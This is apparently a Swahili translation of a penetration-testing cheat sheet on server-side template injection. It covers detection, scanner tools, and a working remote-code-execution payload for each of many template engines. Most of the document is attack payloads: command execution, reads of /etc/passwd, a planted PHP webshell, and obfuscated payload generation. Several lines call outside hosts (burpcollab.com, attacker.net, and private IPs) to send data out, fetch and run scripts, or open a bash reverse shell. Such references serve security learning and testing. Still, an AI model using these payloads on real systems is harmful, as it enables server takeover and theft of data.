SSTI (Server Side Template Injection)

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Je, SSTI (Server-Side Template Injection) ni nini

Server-side template injection ni udhaifu unaotokea wakati mshambuliaji anaweza kuingiza msimbo hatari ndani ya template unaotekelezwa kwenye server. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.

Jinja ni engine maarufu ya template inayotumika katika matumizi ya wavuti. Tuchukulie mfano unaoonyesha kipande cha msimbo chenye udhaifu kinachotumia Jinja:

output = template.render(name=request.args.get('name'))

Katika msimbo huu wenye udhaifu, kigezo cha name kutoka kwa request ya mtumiaji kimepitishwa moja kwa moja kwenye template kwa kutumia render function. Hii inaweza kumruhusu attacker kuingiza malicious code ndani ya kigezo cha name, na kusababisha server-side template injection.

Kwa mfano, attacker anaweza kutengeneza request yenye payload kama ifuatayo:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Mzigo {{bad-stuff-here}} umeingizwa kwenye parameter ya name. Mzigo huu unaweza kuwa na maelekezo ya Jinja template yaliyomuwezesha mshambuliaji kutekeleza msimbo usioidhinishwa au kuathiri injini ya template, na hivyo kupata udhibiti wa server.

Ili kuzuia server-side template injection vulnerabilities, waendelezaji wanapaswa kuhakikisha kwamba maingizo ya mtumiaji yanasafishwa na kuthibitishwa ipasavyo kabla ya kuingizwa kwenye templates. Kutekeleza uthibitishaji wa maingizo na kutumia mbinu za escaping zenye ufahamu wa muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.

Utambuzi

To detect Server-Side Template Injection (SSTI), initially, fuzzing the template ni mbinu rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (${{<%[%'"}}%\) kwenye template na kuchambua tofauti katika majibu ya server kwa data ya kawaida dhidi ya mzigo maalum huu. Viashiria vya udhaifu ni pamoja na:

  • Makosa yanayotupwa, yakifunua udhaifu na labda template engine.
  • Kutokuwepo kwa mzigo katika reflection, au sehemu zake kukosekana, ikionyesha server inaufanya kazi kwa njia tofauti kuliko data ya kawaida.
  • Muktadha wa Plaintext: Tofautisha na XSS kwa kukagua kama server inathamini maonyesho ya template (mfano, {{7*7}}, ${7*7}).
  • Muktadha wa Code: Thibitisha udhaifu kwa kubadilisha vigezo vya input. Kwa mfano, badilisha greeting katika http://vulnerable-website.com/?greeting=data.username ili kuona ikiwa output ya server ni ya mabadiliko au fasta, kama katika greeting=data.username}}hello kurudisha username.

Awamu ya Utambuzi

Kumtambua template engine kunahusisha kuchambua ujumbe wa makosa au kujaribu kwa mikono payload mbalimbali maalum kwa lugha tofauti. Payload za kawaida zinazosababisha makosa ni ${7/0}, {{7/0}}, na <%= 7/0 %>. Kutazama majibu ya server kwa operesheni za kihesabu husaidia kubainisha template engine husika.

Utambuzi kwa payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Zana

TInjA

skana yenye ufanisi ya SSTI + CSTI inayotumia polyglots bunifu

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

meza ya mwingiliano inayojumuisha polyglots za template injection zilizoefektika zaidi pamoja na majibu yanayotarajiwa ya template engines 44 muhimu zaidi.

Exploits

Msingi

Katika wordlist hii unaweza kupata variables defined katika mazingira ya baadhi ya engines zilizotajwa hapa chini:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Pata vigezo vya mazingira vya mfumo

${T(java.lang.System).getenv()}

Java - Pata /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Unaweza kujaribu payloads zako kwenye https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ inafanya kazi tu kwa Freemarker matoleo chini ya 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Taarifa zaidi

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Taarifa zaidi

Thymeleaf

Katika Thymeleaf, jaribio la kawaida la udhaifu wa SSTI ni usemi ${7*7}, ambao pia unatumika kwa engine hii ya templeti. Kwa remote code execution inayowezekana, usemi kama zifuatazo yanaweza kutumika:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf inahitaji usemi hizi ziwekwe ndani ya attributes maalumu. Hata hivyo, expression inlining inasaidiwa kwa maeneo mengine ya templeti kwa kutumia sintaks kama [[...]] au [(...)]. Kwa hivyo, payload rahisi ya mtihani wa SSTI inaweza kuonekana kama [[${7*7}]].

Hata hivyo, uwezekano wa payload hii kufanya kazi ni mdogo kwa ujumla. Mipangilio ya default ya Thymeleaf haitoi support kwa dynamic template generation; templates lazima zitatanguliwa mapema. Waendelezaji wangehitaji kutekeleza TemplateResolver yao ili kuunda templates kutoka kwa strings kwa wakati halisi, jambo ambalo sio la kawaida.

Thymeleaf pia hutoa expression preprocessing, ambapo expressions ndani ya double underscores (__...__) zinapreprocesswa. Kipengele hiki kinaweza kutumika katika ujenzi wa expressions, kama inavyoonyeshwa kwenye dokumenti za Thymeleaf:

#{selection.__${sel.code}__}

Mfano wa Udhaifu katika Thymeleaf

Fikiria kifungu cha msimbo kinachofuata, ambacho kinaweza kuwa nyeti kwa matumizi mabaya:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Hii inaonyesha kwamba ikiwa template engine itashughulikia inputs hizi vibaya, inaweza kusababisha remote code execution ikifikia URLs kama:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Taarifa zaidi

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypass filters

Unaweza kutumia miundo mbalimbali ya variable; ikiwa ${...} haifanyi kazi jaribu #{...}, *{...}, @{...} au ~{...}.

  • Soma /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Script Iliyobinafsishwa kwa utengenezaji wa payload
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Taarifa Zaidi

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Toleo la zamani la Pebble ( < toleo 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Toleo jipya la Pebble :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava ni mradi wa chanzo wazi ulioendelezwa na Hubspot, unaopatikana kwenye https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Imerekebishwa na https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Taarifa zaidi

Hubspot - HuBL (Java)

  • {% %} vielelezo vya kutenganisha maelekezo
  • {{ }} vielelezo vya kutenganisha matamko
  • {# #} vielelezo vya kutenganisha maoni
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Tafuta “com.hubspot.content.hubl.context.TemplateContextRequest” na ugundue mradi wa Jinjava kwenye Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Taarifa zaidi

Lugha ya Expression - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Lugha ya Expression (EL) ni kipengele cha msingi kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama managed beans) katika JavaEE. Inatumika kwa wingi katika teknolojia mbalimbali za JavaEE ili kurahisisha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni:

  • JavaServer Faces (JSF): Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na vitendo vinavyofanya kazi upande wa backend.
  • JavaServer Pages (JSP): EL inatumiwa kwenye JSP kufikia na kuhariri data ndani ya kurasa za JSP, na kufanya iwe rahisi kuunganisha vipengele vya ukurasa na data za programu.
  • Contexts and Dependency Injection for Java EE (CDI): EL inaunganisha na CDI kuruhusu mwingiliano usiokatizwa kati ya safu ya wavuti na managed beans, ikihakikisha muundo thabiti wa programu.

Tazama ukurasa ufuatao ili kujifunza zaidi kuhusu exploitation of EL interpreters:

EL - Expression Language

Groovy (Java)

Bypass zifuatazo za Security Manager zilichukuliwa kutoka kwa writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

Java nyingine

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Taarifa zaidi

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Muundo wa Template

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Taarifa zaidi

Plates (PHP)

Plates ni injini ya templating ya asili kwa PHP, inayopata msukumo kutoka kwa Twig. Hata hivyo, tofauti na Twig, ambayo inaleta sintaksia mpya, Plates inatumia msimbo wa asili wa PHP katika templates, ikifanya iwe rahisi kwa watengenezaji wa PHP.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Kiolezo cha ukurasa:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Kiolezo la mpangilio:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Maelezo zaidi

PHPlib na HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB ni sawa na PHPlib lakini imehamishiwa kwa Pear.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Taarifa zaidi

PHP nyingine

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Taarifa zaidi

patTemplate (PHP)

patTemplate engine ya templating ya PHP isiyofanya compilation, inayotumia tagi za XML kugawa hati katika sehemu mbalimbali

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Taarifa zaidi

Handlebars (NodeJS)

Path Traversal (taarifa zaidi here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Kosa
  • ${7*7} = ${7*7}
  • Hakuna kitu
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Taarifa zaidi

JsRender (NodeJS)

KiolezoMaelezo
Kutathmini na kuonyesha matokeo
Kutathmini na kuonyesha matokeo yaliyoencoded kwa HTML
Maoni
andRuhusu code (imezimwa kwa chaguo-msingi)
  • = 49

Upande wa Mteja

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Upande wa Seva

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Taarifa zaidi

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Mfano wa render upande wa seva

var pugjs = require("pug")
home = pugjs.render(injected_page)

Taarifa zaidi

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Hakuna pato
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Hitilafu
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Taarifa zaidi

NodeJS nyingine

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Taarifa zaidi

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Maelezo zaidi

Ruby Nyingine

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Angalia ukurasa ufuatao ili ujifunze mbinu kuhusu arbitrary command execution bypassing sandboxes in python:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Taarifa zaidi

Jinja2 (Python)

Official website

Jinja2 ni injini kamili ya template kwa Python. Ina msaada kamili wa Unicode, chaguo la mazingira ya utekelezaji yaliyojumuishwa yenye sandbox (sandboxed), inatumiwa sana na ina leseni ya BSD.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Muundo wa kiolezo

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}

RCE isiyotegemea __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Maelezo zaidi kuhusu jinsi ya kutumia vibaya Jinja:

Jinja2 SSTI

Payloads zingine ziko katika https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Taarifa zaidi

Python nyingine

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
